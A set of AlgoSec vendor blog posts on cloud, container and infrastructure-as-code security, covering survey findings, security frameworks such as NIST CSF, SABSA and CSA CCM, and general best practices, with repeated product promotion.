Search results

Anat Kleinmann, AlgoSec Sr. Product Manager and IaC expert, discusses how incorporating Infrastructure-as-Code into DevSecOps can allow... Risk Management and Vulnerabilities Bridging the DevSecOps Application Connectivity Disconnect via IaC Anat Kleinmann 2 min read Anat Kleinmann Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/7/22 Published Anat Kleinmann, AlgoSec Sr. Product Manager and IaC expert, discusses how incorporating Infrastructure-as-Code into DevSecOps can allow teams to take a preventive approach to secure application connectivity . With customer demands changing at breakneck speed, organizations need to be agile to win in their digital markets. This requires fast and frequent application deployments, forcing DevOps teams to streamline their software development processes. However, without the right security tools placed in the early phase of the CI/CD pipeline, these processes can be counterproductive leading to costly human errors and prolonged application deployment backups. This is why organizations need to find the right preventive security approach and explore achieving this through Infrastructure-as-Code. Understanding Infrastructure as Code – what does it actually mean? Infrastructure-as-Code (Iac) is a software development method that describes the complete environment in which the software runs. It contains information about the hardware, networks, and software that are needed to run the application. IAC is also referred to as declarative provisioning or automated provisioning. In other words, IAC enables security teams to create an automated and repeatable process to build out an entire environment. This is helpful for eliminating human errors that can be associated with manual configuration. The purpose of IaC is to enable developers or operations teams to automatically manage, monitor and provision resources, rather than manually configure discrete hardware devices and operating systems. What does IaC mean in the context of running applications in a cloud environment When using IaC, network configuration files can contain your applications connectivity infrastructure connectivity specifications changes, which mkes it easier to edit, review and distribute. It also ensures that you provision the same environment every time and minimizes the downtime that can occur due to security breaches. Using Infrastructure as code (IaC) helps you to avoid undocumented, ad-hoc configuration changes and allows you to enforce security policies in advance before making the changes in your network. Top 5 challenges when not embracing a preventive security approach Counterintuitive communication channel – When reviewing the code manually, DevOps needs to provide access to a security manager to review it and rely on the security manager for feedback. This can create a lot of unnecessary back and forth communication between the teams which can be a highly counterintuitive process. Mismanagement of DevOps resources – Developers need to work on multiple platforms due to the nature of their work. This may include developing the code in one platform, checking the code in another, testing the code in a third platform and reviewing requests in a fourth platform. When this happens, developers often will not be alerted of any network risk or non-compliance issue as defined by the organization. Mismanagement of SecOps resources – At the same time, network security managers are also bombarded with security review requests and tasks. Yet, they are expected to be agile, which is impossible in case of manual risk detection. Inefficient workflow – Sometimes risk analysis process is skipped and only reviewed at the end of the CI/CD pipeline, which prolongs the delivery of the application. Time consuming review process – The risk analysis review itself can sometimes take more than 30 minutes long which can create unnecessary and costly bottlenecking, leading to missed rollout deadlines of critical applications Why it’s important to place security early in the development cycle Infrastructure-as-code (IaC) is a crucial part of DevSecOps practices. The current trend is based on the principle of shift-left, which places security early in the development cycle. This allows organizations to take a proactive, preventive approach rather than a reactive one. This approach solves the problem of developers leaving security checks and testing for the later stages of a project often as it nears completion and deployment. It is critical to take a proactive approach since late-stage security checks lead to two critical problems. Security flaws can go undetected and make it into the released software, and security issues detected at the end of the software development lifecycle demand considerably more time, resources and money to remediate than those identified early on. The Power of IaC Connectivity Risk Analysis and Key Benefits IaC connectivity risk analysis provides automatic and proactive connectivity risk analysis, enabling a frictionless workflow for DevOps with continuous customized risk analysis and remediation managed and controlled by the security managers. IaC Connectivity Risk Analysis enables organizations to use a single source of truth for managing the lifecycle of their applications. Furthermore, security engineers can use IaC to automate the design, deployment, and management of virtual assets across a hybrid cloud environment. With automated security tests, engineers can also continuously test their infrastructure for security issues early in the development phase. Key benefits Deliver business applications into production faster and more securely Enable a frictionless workflow with continuous risk analysis and remediation Reduce connectivity risks earlier in the CI/CD process Customizable risk policy to surface only the most critical risks The Takeaway Don’t get bogged down by security and compliance. When taking a preventive approach using a connectivity risk analysis via IaC, you can increase the speed of deployment, reduce misconfiguration and compliance errors, improve DevOps – SecOps relationship and lower costs Next Steps Let AlgoSec’s IaC Connectivity Risk Analysis can help you take a proactive, preventive security approach to get DevOps’ workflow early in the game, automatically identifying connectivity risks and providing ways to remediate them. Watch this video or visit us at GitHub to learn how. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

The past few years have witnessed a rapid surge in the use of SaaS applications across various industries. But with this growth comes a... Hybrid Cloud Security Management Cloud security study reveals: over 50% of system failures are caused by human error and mismanagement Malynnda Littky-Porath 2 min read Malynnda Littky-Porath Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/20/23 Published The past few years have witnessed a rapid surge in the use of SaaS applications across various industries. But with this growth comes a significant challenge: managing security and assessing risk in application connectivity. In this blog, I’ll explore the fascinating insights from a recent study conducted by the Cloud Security Alliance (CSA). The study delves into the complexities of managing security and assessing the risk of application connectivity in the rapidly growing world of SaaS applications and cloud environments. With responses from 1,551 IT and security professionals from organizations of all sizes and from all corners of the globe, this study provides valuable insights into the challenges of application security in cloud environments and how to best manage them. Insight # 1 – Human error is the leading cause of application outages With more than half of these outages linked to manual processes and the increasing complexity of the systems themselves, businesses are losing productivity, revenue, and even reputation due to downtime. In many cases, the root cause of these outages is traced back to configuration errors, software bugs, or human mistakes during deployments or maintenance activities. To combat these issues, investment in automation and machine learning technologies can mitigate the risk of human error and ensure the reliability and stability of their applications. Insight # 2 – 75% of organizations experienced application outages lasting an hour or more. The financial impact of outages has been significant, with an estimated cost of $300,000 or more per instance. These costs include lost productivity, revenue, and potential customer churn. While human error is the major contributor to downtime, outages are often caused by a combination of additional factors, including hardware or software failure and cyber-attacks. Comprehensive disaster recovery plans, backup systems, and application performance monitoring tools are necessary to minimize outages and ensure business continuity. Insight # 3 – A lack of visibility and compliance are the primary constraints to rolling out new applications . Visibility is essential to understanding how applications are used, where they are deployed, and how they integrate with other systems. Compliance gaps, on the other hand, can pose significant risks, resulting in issues such as data breaches, regulatory fines, or reputational damage. To ensure successful application rollout, organizations must have a clear view of their application environment and ensure compliance with relevant standards and regulations. Insight # 4 – The shift to the DevOps methodology has led to a shift-left movement where security is integrated into the application development process . Traditionally, application security teams have been responsible for securing applications in the public cloud. However, DevOps teams are becoming more involved in the security of applications in the public cloud. DevOps teams are now responsible for ensuring that applications are designed with security in mind, and they work with the application security teams to ensure that the necessary controls are in place. Involving the DevOps teams in the security process can reduce the risk of security breaches and ensure that security is integrated throughout the application lifecycle. Insight # 5 – Organizations are targeting unauthorized access to applications in the public cloud . Organizations can protect their applications by implementing strong authentication mechanisms, access controls, and encryption to protect sensitive data. Using the principle of least privilege can limit application access to only authorized personnel. cloud infrastructure is secure and that vulnerabilities are regularly identified and addressed. Organizations must review their security requirements, monitor the application environment, and regularly update their security controls to protect their data and applications in the public cloud. Insight # 6 – A rapidly evolving technology landscape has created skills gaps and staffing issues Specialized skills are not always readily available within organizations, which can result in a shortage of qualified personnel. This can overburden teams, resulting in burnout and increased staff turnover. Staffing shortages can also lead to knowledge silos, where critical skills and knowledge are concentrated in a few key individuals, leaving the rest of the team vulnerable to knowledge gaps. Organizations must invest in training and development programs to ensure that their teams have the skills and knowledge necessary to succeed in their roles. Successful cloud migrations require a comprehensive knowledge of cloud security controls and how they interconnect and collaborate with on-premise security systems. To make this happen, organizations need complete visibility across both cloud and on-premise environments, and must automate the network security management processes. To sum up, the rapidly evolving threat environment demands new ways to enhance security. Proactive risk detection, powerful automation capabilities, and enhanced visibility in the cloud and outside of it are just a few ways to strengthen your security posture. AlgoSec can do all that, and more, to help you stay ahead of emerging threats and protect your critical assets.. Even better, our solution is ideal for organizations that may lack in-house expertise and resources, complementing the existing security measures and helping to keep you one step ahead of attackers. Don’t miss out on the full insights and recommendations from the study. Click here to access the complete findings. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cloud security is one of the big buzzwords in the security space along with big data and others. So we’ll try to tackle where cloud... Information Security Cloud Security: Current Status, Trends and Tips Kyle Wickert 2 min read Kyle Wickert Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/25/13 Published Cloud security is one of the big buzzwords in the security space along with big data and others. So we’ll try to tackle where cloud security is today, where its heading as well as outline challenges and offer tips for CIOs and CSOs looking to experiment with putting more systems and data in the cloud. The cloud is viewed by many as a solution to reducing IT costs and ultimately has led many organizations to accept data risks they would not consider acceptable in their own environments. In our State of Network Security 2013 Survey , we asked security professionals how many security controls were in the cloud and 60 percent of respondents reported having less than a quarter of their security controls in the cloud – and in North America the larger the organization, the less security controls in the cloud. Certainly some security controls just aren’t meant for the cloud, but I think this highlights the uncertainty around the cloud, especially for larger organizations. Current State of Cloud Security Cloud security has clearly emerged with both a technological and business case, but from a security perspective, it’s still a bit in a state of flux. A key challenges that many information security professionals are struggling with is how to classify the cloud and define the appropriate type of controls to secure data entering the cloud. While oftentimes the cloud is classified as a trusted network, the cloud is inherently untrusted since it is not simply an extension of the organization, but it’s an entirely separate environment that is out of the organization’s control. Today “the cloud” can mean a lot of things: a cloud could be a state-of-the-art data center or a server rack in a farm house holding your organization’s data. One of the biggest reasons that organizations entertain the idea of putting more systems, data and controls in the cloud is because of the certain cost savings. One tip would be to run a true cost-benefit-risk analysis that factors in the value of the data being sent into the cloud. There is value to be gained from sending non-sensitive data into the cloud, but when it comes to more sensitive information, the security costs will increase to the point where the analysis may suggest keeping in-house. Cloud Security Trends Here are several trends to look for when it comes to cloud security: Data security is moving to the forefront, as security teams refocus their efforts in securing the data itself instead of simply the servers it resides on. A greater focus is being put on efforts such as securing data-at-rest, thus mitigating the need to some degree the reliance on system administrators to maintain OS level controls, often outside the scope of management for information security teams. With more data breaches occurring each day, I think we will see a trend in collecting less data where is it simply not required. Systems that are processing or storing sensitive data, by their very nature, incur a high cost to IT departments, so we’ll see more effort being placed on business analysis and system architecture to avoid collecting data that may not be required for the business task. Gartner Research recently noted that by 2019, 90 percent of organizations will have personal data on IT systems they don’t own or control! Today, content and cloud providers typically use legal means to mitigate the impact of any potential breaches or loss of data. I think as cloud services mature, we’ll see more of a shift to a model where it’s not just these vendors offering software as a service, but also includes security controls in conjunction with their services. More pressure from security teams will be put on content providers to provide such things as dedicated database tiers, to isolate their organization’s data within the cloud itself. Cloud Security Tips Make sure you classify data before even considering sending it for processing or storage in the cloud. If data is deemed too sensitive, the risks of sending this data into the cloud must be weighed closely against the costs of appropriately securing it in the cloud. Once information is sent into the cloud, there is no going back! So make sure you’ve run a comprehensive analysis of what you’re putting in the cloud and vet your vendors carefully as cloud service providers use varying architectures, processes, and procedures that may place your data in many precarious places. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

As cloud adoption and digital transformation increases, more sensitive data from applications is being stored in data containers. This is... Application Connectivity Management How to Make Container Security Threats More Containable Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/8/22 Published As cloud adoption and digital transformation increases, more sensitive data from applications is being stored in data containers. This is why effective container security controls to securely manage application connectivity is an absolute must. AlgoSec CTO and Co-Founder, Prof. Avishai Wool provides some useful container security best practices to help you do just that. What is Container Security? Organizations, now more than ever, are adopting container technology. Instead of powering up servers and instances in the cloud, they are using containers to run business applications. Securing these is equally as important as securing other digital assets that the business is dependent on. There are two main pillars to think about: The code: you want to be able to scan the containers and make sure that they are running legitimate code without any vulnerabilities. The network: you need to control access to and from the container (what it can connect to), both inside the same cluster, other clusters, and different parts of the network. How critical is container security to managing application connectivity risks? To understand the role of container security within the overall view of network security, there are three points to consider. First, if you’re only concerned about securing the containers themselves, then you’re looking at nano-segmentation , which involves very granular controls inside the applications. Second, if you’re thinking about a slightly wider scope then you may be more concerned with microsegmentation , where you are segmenting between clusters or between servers in a single environment. Here you will want to enforce security controls that determine the allowable communication between specific endpoints at specific levels. Finally, if the communication needs to go further, from a container inside one cluster within one cloud environment to an asset that’s outside of the data center, then that might need to go through broader segmentation controls such as zoning technologies, security groups or a firewall at the border. So, there are all these layers where you can place network security policies. When you’re looking at a particular connectivity request (say for a new version of an application) from the point of view of a given container you should ask yourself: what is the container connected to? What is it communicating with? Where are those other sides of the connectivity placed? Based on that determination, you will then know which security controls you need to configure to allow that connectivity through the network. How does containerization correlate with application centric security policy management? There are a number of different aspects to the relationship between container security and application security. If an application uses containers to power up workloads then container security is very much an integral part of application security. When you’re adding new functionality to an application, powering up additional containers, asking containers to perform new tasks whereby they need to connect to additional assets, then the connectivity of those containers needs to be secured. And security controls need to be regulated or changed based on what the application needs them to do. Another factor in this relationship is the structure of the application. All the containers that run and support the application are often located in one cluster or a micro-segment of the network. So, much of the communication takes place inside that cluster, between one container or another, all in the same cluster. However, some of it can go to another cluster or somewhere that’s not even containerized. This is actually a good thing from an application point of view as the container structure can be used to understand the application structure as well. Not sure about container orchestration? Here’s what to know Container orchestration is part of a bigger orchestration play which is, in general, related to the concept of infrastructure as code. You want to be able to power up an environment with all the assets it requires, and have it function simultaneously so you can duplicate it. There are various orchestration technologies that can be used to deploy the security policies for containers , which is an excellent way to maintain container-based applications in a consistent and repeatable manner. Then if you need to double it or multiply it by 100, you can get cookie-cutter copies of the same thing. How will container security solutions play out in the future? Organizations today have the technology to enforce security controls at the container level, but these controls are very granular and it’s time-consuming to set policies and enforce them, particularly with issues like staff or skills shortages. Looking ahead, companies are likely to take a hierarchical view where container-based security is controlled at the application level by app owners or developers, and at the broader levels to ensure that the measures deployed throughout the network have the same degree of sophistication. Procedures and tooling are all evolving, so we don’t have a definitive answer as to how this will all end up. What are organizations going to be doing? Where will they place their controls? Who has the power to make the changes? When newer technologies are deployed, customer adoption will be crucial to understanding what makes the most sense. This will be interesting as there will be multiple scenarios to help companies master their security blueprint as we move forward. To learn how the use of containerization as a strategy can help reduce risk and drive application-centric security, check out this video . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cloud threats increased by 95 percent in 2022 alone! At a time when many organizations are moving their resources to the cloud and... Cloud Security Cloud Security Architecture: Methods, Frameworks, & Best Practices Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/8/23 Published Cloud threats increased by 95 percent in 2022 alone! At a time when many organizations are moving their resources to the cloud and security threats are at an all-time high, focusing on your cloud security architecture has never been more critical. While cloud adoption has revolutionized businesses, it has also brought complex challenges. For example, cloud environments can be susceptible to numerous security threats. Besides, there are compliance regulations that you must address. This is why it’s essential to implement the right methods, frameworks, and best practices in cloud environments. Doing so can protect your organization’s sensitive cloud resources, help you meet compliance regulations, and maintain customer trust. Understanding Cloud Security Architecture Cloud security architecture is the umbrella term that covers all the hardware, software, and technologies used to protect your cloud environment. It encompasses the configurations and secure activities that protect your data, workloads, applications, and infrastructure within the cloud. This includes identity and access management (IAM), application and data protection, compliance monitoring, secure DevOps, governance, and physical infrastructure security. A well-defined security architecture also enables manageable decompositions of cloud deployments, including mixed SaaS, PaaS, and IaaS deployments. This helps you highlight specific security needs in each cloud area. Additionally, it facilitates integration between clouds, zones, and interfaces, ensuring comprehensive coverage of all deployment aspects. Cloud security architects generally use a layered approach when designing cloud security. Not only does this improve security, but it also allows companies to align business needs with technical security practices. As such, a different set of cloud stakeholders, including business teams and technical staff, can derive more value. The Fundamentals of Cloud Security Architecture Every cloud computing architecture has three core fundamental capabilities; confidentiality, integrity, and availability. This is known as the CIA triad. Understanding each capability will guide your efforts to build, design, and implement safer cloud environments. 1. Confidentiality This is the ability to keep information hidden and inaccessible to unauthorized entities, such as attackers, malware, and people in your organization, without the appropriate access level. Privacy and trust are also part of confidentiality. When your organization promises customers to handle their data with utmost secrecy, you’re assuring them of confidentiality. 2. Integrity Integrity means that the services, systems, and applications work and behave exactly how you expect. That is, their output is consistent, accurate, and trustworthy. If these systems and applications are compromised and produce unexpected or misleading results, your organization may suffer irreparable damage. 3. Availability As the name implies, availability assures your cloud resources are consistently accessible and operational when needed. So, suppose an authorized user (whether customers or employees) needs data and applications in the cloud, such as your products or services. In that case, they can access it without interruption or significant downtime. Cybercriminals sometimes use denial-of-service (DoS) attacks to prevent the availability of cloud resources. When this happens, your systems become unavailable to you or your customers, which isn’t ideal. So, how do you stop that from happening and ensure your cloud security architecture provides these core capabilities? Approaches to Cloud Security Architecture There are multiple security architecture approaches, including frameworks and methodologies, to support design and implementation steps. Cloud Security Frameworks and Methodologies A cloud security framework outlines a set of guidelines and controls your organizations can use when securing data, applications, and infrastructures within the cloud computing environment. Frameworks provide a structured approach to detecting risks and implementing appropriate security protocols to prevent them. Without a consistent cloud security framework, your organization exposes itself to more vulnerabilities. You may lack the comprehensive visibility to ensure your data and applications are adequately secure from unauthorized access, data exposure, malware, and other security threats. Plus, you may have limited incident response capabilities, inconsistent security practices, and increased operational risks. A cloud security framework also helps you stay compliant with regulatory requirements. Lastly, failing to have appropriate security frameworks can erode customer trust and confidence in your ability to protect their privacy. This is why you must implement a recognized framework to significantly reduce potential risks associated with cloud security and ensure the CIA of data and systems. There are numerous security frameworks. Some are for governance (e.g., COBIT and COSO), architecture (e.g., SABSA), and the NIST cybersecurity framework. While these generally apply broadly to technology, they may also apply to cloud environments. Other cloud-specific frameworks include the ISO/IEC 27017:2015, Cloud Control Matrix (CCM), Cloud Security Alliance, and the FedRAMP. 1. NIST Cybersecurity Framework (NIST CSF) The National Institute of Standards and Technology’s Cybersecurity Framework (NIST CSF) outlines a set of guidelines for securing security systems. It has five core capabilities: Identify, Protect, Detect, Respond, and Recover. Identify – What processes, assets, and systems need protection? Protect – Develop and implement the right safeguards to ensure critical infrastructure services delivery. Detect – Implement the appropriate mechanisms to enable the timely discovery of cybersecurity incidents. Respond – Develop techniques to contain the impact of potential cybersecurity incidents. Recover – Implement appropriate measures to restore business capabilities and services affected by cybersecurity events. While the NIST CSF is a general framework for the security of your organization’s systems, these five pillars can help you assess and manage cloud-related security risks. 2. ISO/IEC 27017:2015 ISO 27017 is a cloud security framework that defines guidelines on information security issues specific to the cloud. The framework’s security controls add to the ISO/IEC 27002 and ISO/IEC 27001 standards’ recommendations. The framework also offers specific security measures and implementation advice for cloud service providers and applications. 3. Sherwood Applied Business Security Architecture (SABSA) First developed by John Sherwood, SABSA is an Enterprise Security Architecture Framework that provides guidelines for developing business-driven, risk, and opportunity-focused security architectures to support business objectives. The SABSA framework aims to prioritize your business needs, meaning security services are designed and developed to be an integral part of your business and IT infrastructure. Here are some core principles of the Gartner-recommended SABSA framework for enterprises: It is business-driven. SABSA ensures security is integrated into your entire business strategy. This means there’s a strong emphasis on understanding your organization’s business objectives. So, any security measure is aligned with those objectives. SABSA is a risk-based approach. It considers security vulnerabilities, threats, and their potential impacts to prioritize security operations and investments. This helps your organization allocate resources effectively to address the most critical risks first. It promotes a layered security architecture. Earlier, we mentioned how a layered approach can help you align business and technical needs. So, it’s expected that this is a core principle of SABSA. This allows you to deploy multiple security controls across different layers, such as physical security, network security, application security, and data security. Each layer focuses on a specific security aspect and provides special controls and measures. Transparency: SABSA provides two-way traceability; that is, a clear two-way relationship exists between aligning security requirements and business goals. This provides a clear overview of where expenditure is made ad the value that is returned. Modular approach: SABSA offers agility for ease of implementation and management. This can make your business flexible when meeting changing market or economic conditions. 4. MITRE ATT&CK The MITRE ATT&CK framework is a repository of techniques and tactics that threat hunters, defenders, red teams, and security architects can use to classify, identify, and assess attacks. Instead of focusing on security controls and mechanisms to mitigate threats, this framework targets the techniques that hackers and other threat actors use in the cloud. So, using this framework can be excellent if you want to understand how potential attack vectors operate. It can help you become proactive and strengthen your cloud security posture through improved detection and incident response. 5. Cloud Security Alliance Cloud Controls Matrix (CSA CCM) The CSA CCM is a cybersecurity control framework specifically for cloud computing. It contains 197 control objectives structured in 17 domains that cover every critical aspect of cloud technology. Cloud customers and cloud service providers (CSPs) can use this tool to assess cloud implementation systematically. It also guides customers on the appropriate security controls for implementation by which actor in the cloud supply chain. 6. Cloud Security Alliance Security Trust Assurance and Risk (CSA STAR) The CSA STAR framework is for CSPs. It combines the principles of transparency, thorough auditing, and harmonization of standards. What CSA STAR does is to help you, as a cloud customer, assess a cloud service provider’s reliability and security posture. There are two ways this can happen: CSA STAR Certification: This is a rigorous third-party assessment of the CSP’s security controls, posture, and practices. The CSP undergoes a thorough audit based on the CSA’s Cloud Control Matrix (CCM), which is a set of cloud security controls aligned with industry standards. CSA STAR Self-Assessment: The CSA also has a Consensus Assessment Initiative Questionnaire (CAIQ). CSPs can use this to test and report on their security controls and practices. Since it’s a self-assessment procedure, it allows CSPs to be transparent, enabling customers like you to understand a CSP’s security capabilities before adopting their services. Challenges and Considerations in Cloud Security Architecture Before any cloud deployment, it’s important to understand the threats you may face, such as privilege-based attacks and malware, and be prepared for them. Since there are many common threats, we’ll quickly run through the most high-profile ones with the most devastating impacts. It’s important to remember some threats may also be specific to the type of cloud service model. 1. Insider risks This includes the employees in your organization who have access to data, applications, and systems, as well as CSP administrators. Whenever you subscribe to a CSP’s services, you entrust your workloads to the staff who maintain the CSP architecture. 2. DoS attacks Direct denial-of-service (DDoS) attacks are critical issues in cloud environments. Although security perimeters can deflect temporary DDoS attacks to filter out repeated requests, permanent DoS attacks are more damaging to your firmware and render the server unbootable. If this happens, you may need to physically reload the firmware and rebuild the system from the ground up, resulting in business downtime for weeks or longer. 3. Data availability You also want to consider how much of your data is accessible to the government. Security professionals are focusing on laws and examples that demonstrate when and how government authorities can access data in the cloud, whether through legal processes or court rulings. 4. Cloud-connected Edge Systems The concept of “cloud edge” encompasses both edge systems directly connected to the cloud and server architecture that is not directly controlled by the cloud service provider (CSP). To extend their services to smaller or remote locations, global CSPs often rely on partners as they cannot have facilities worldwide. Consequently, CSPs may face limitations in fully regulating hardware monitoring, ensuring physical box integrity, and implementing attack defenses like blocking USB port access. 5. Hardware Limitations Having the most comprehensive cloud security architecture still won’t help you create stronger passwords. While your cloud security architects focus on the firmware, hardware, and software, it’s down to the everyday users to follow best practices for staying safe. Best Practices in Cloud Security Architecture The best practices in Cloud Security Architecture are highlighted below: 1. Understand the shared responsibility model Cloud security is implemented with a shared responsibility model. Although, as the cloud customer, you may have most of the obligation, the cloud provider also shares some of the responsibility. Most vendors, such as Amazon Web Services (AWS) and Microsoft Azure, have documentation that clearly outlines your specific responsibilities depending on the deployment type. It’s important to clearly understand your shared responsibility model and review cloud vendor policies. This will prevent miscommunications and security incidents due to oversight. 2. Secure network design and segmentation This is one of the principles of cloud security architecture – and by extension, a best practice. Secure network design and segmentation involve dividing the network into isolated segments to avoid lateral movements during a breach. Implementing network segmentation allows your organization to contain potential risks and attacks within a specific segment. This can minimize the effects of an incident on your entire network and protect critical assets within the cloud infrastructure. 3. Deploy an Identity and access management (IAM) solution Unauthorized access is one of the biggest problems facing cloud security. Although hackers now use sophisticated tools to gain access to sensitive data, implementing a robust identity and access management (IAM) system can help prevent many threats. Consider access policies like role-based access control (RBAC) permissions, multi-factor authentication (MFA), and continuous threat monitoring. 4. Consider a CASB or Cloud Security Solution (e.g., Cloud-Native Application Protection (CNAPP) and Cloud Workload Protection Platforms (CWPP) Cloud Access Security Brokers (CASBs) provide specialized tools to enforce cloud security policies. Implementing a CASB solution is particularly recommended if you have a multi-cloud environment involving different vendors. Since a CASB acts as an intermediary between your organization’s on-premise infrastructure and CSPs, it allows your business to extend security policies and controls to the cloud. CASBs can enhance your data protection through features like data loss prevention, tokenization, and encryption. Plus, they help you discover and manage shadow IT through visibility into unauthorized cloud services and applications. Besides CASB solutions, you should also consider other solutions for securing your cloud environments. This includes cloud-native application protection (CNAPP) and cloud workload protection platforms (CWPP). For example, a CNAPP like Prevasio can improve your cloud security architecture with tailored solutions and automated security management. 5. Conduct Audits, Penetration Testing, and Vulnerability Testing Whether or not you outsource security, performing regular penetration tests and vulnerability is necessary. This helps you assess the effectiveness of your cloud security measures and identify potential weaknesses before hackers exploit them. You should also perform security audits that evaluate cloud security vendors’ capabilities and ensure appropriate access controls are in place. This can be achieved by using the guidelines of some frameworks we mentioned earlier, such as the CSA STAR. 6. Train Your Staff Rather than hiring new hires, training your current staff may be beneficial. Your employees have been at your company for a while and are already familiar with the organization’s culture, values, and processes. This could give them an advantage over new hires. As most existing IT skills can be reused, upskilling employees is more efficient and may help you meet the immediate need for a cloud IT workforce. Train your staff on recognizing simple and complex cybersecurity threats, such as creating strong passwords, identifying social engineering attacks, and advanced topics like risk management. 7. Mitigate Cloud Misconfigurations A misconfigured bucket could give access to anyone on the internet. To minimize cloud misconfigurations and reduce security risks, managing permissions in cloud services carefully is crucial. Misconfigurations, such as granting excessive access permissions to external users, can enable unauthorized access and potential data breaches. Attackers who compromise credentials can escalate their privileges, leading to further data theft and broader attacks within the cloud infrastructure. Therefore, it is recommended that IT, storage, or security teams, with assistance from development teams, personally configure each cloud bucket, ensuring proper access controls and avoiding default permissions. 8. Ensure compliance with regulatory requirements Most organizations today need to comply with strict regulatory requirements. This is especially important if you collect personally identifiable information (PII) or if your business is located in certain regions. Before you adopt a new cloud computing service, assess their compliance requirements and ensure they can fulfill data security needs. Failure to meet compliance requirements can lead to huge penalties. Other best practices for your cloud security include continuous monitoring and threat intelligence, data encryption at rest and in transit, and implementing intrusion detection and intrusion prevention systems. Conclusion When establishing a robust cloud security architecture, aligning business objectives and technical needs is important. Your organization must understand the shared responsibility model, risks, the appropriate implementation framework, and best practices. However, designing and developing cloud computing architectures can be complicated. Prevasio can secure your multi-cloud environment in minutes. Want to improve your cloud security configuration management? Prevasio’s agentless CNAPP can provide complete visibility over cloud resources, ensure compliance, and provide advanced risk monitoring and threat intelligence. Speak to us now. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Enterprise cybersecurity must constantly evolve to meet the threat posed by new malware variants and increasingly sophisticated hacker... Uncategorized Network Security vs. Application Security: The Complete Guide Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/25/24 Published Enterprise cybersecurity must constantly evolve to meet the threat posed by new malware variants and increasingly sophisticated hacker tactics, techniques, and procedures. This need drives the way security professionals categorize different technologies and approaches. The difference between network security and application security is an excellent example. These two components of the enterprise IT environment must be treated separately in any modern cybersecurity framework. This is because they operate on different levels of the network and they are exposed to different types of threats and security issues. To understand why, we need to cover what each category includes and how they contribute to an organization’s overall information security posture. IT leaders and professionals can use this information to their organization’s security posture, boost performance, and improve event outcomes. What is Network Security? Network security focuses on protecting assets located within the network perimeter. These assets include data, devices, systems, and other facilities that enable the organization to pursue its interests — just about anything that has value to the organization can be an asset. This security model worked well in the past, when organizations had a clearly defined network perimeter. Since the attack surface was well understood, security professionals could deploy firewalls, intrusion prevention systems, and secure web gateways directly at the point of connection between the internal network and the public internet. Since most users, devices and applications were located on-site, security leaders had visibility and control over the entire network. This started to change when organizations shifted to cloud computing and remote work, supported by increasingly powerful mobile devices. Now most organizations do not have a clear network perimeter, so the castle-and-moat approach to network security is no longer effective. However, the network security approach isn’t obsolete. It is simply undergoing a process of change, adjusting to smaller, more segmented networks governed by Zero Trust principles and influenced by developments in application security. Key Concepts of Network Security Network security traditionally adopts a castle-and-moat approach, where all security controls exist at the network perimeter. Users who attempt to access the network must authenticate and verify themselves before being allowed to enter. Once they enter, they can freely move between assets, applications, and systems without the need to re-authenticate themselves. In modern, cloud-enabled networks, the approach is less like a castle and more like a university campus. There may be multiple different subnetworks working together, with different security controls based on the value of the assets under protection. In these environments, network security is just one part of a larger, multi-layered security deployment. This approach focuses on protecting IT infrastructure, like routers, firewalls, and network traffic. Each of these components has a unique role to play securing assets inside the network: Firewalls act as filters for network traffic , deciding what traffic is allowed to pass through and denying the rest. 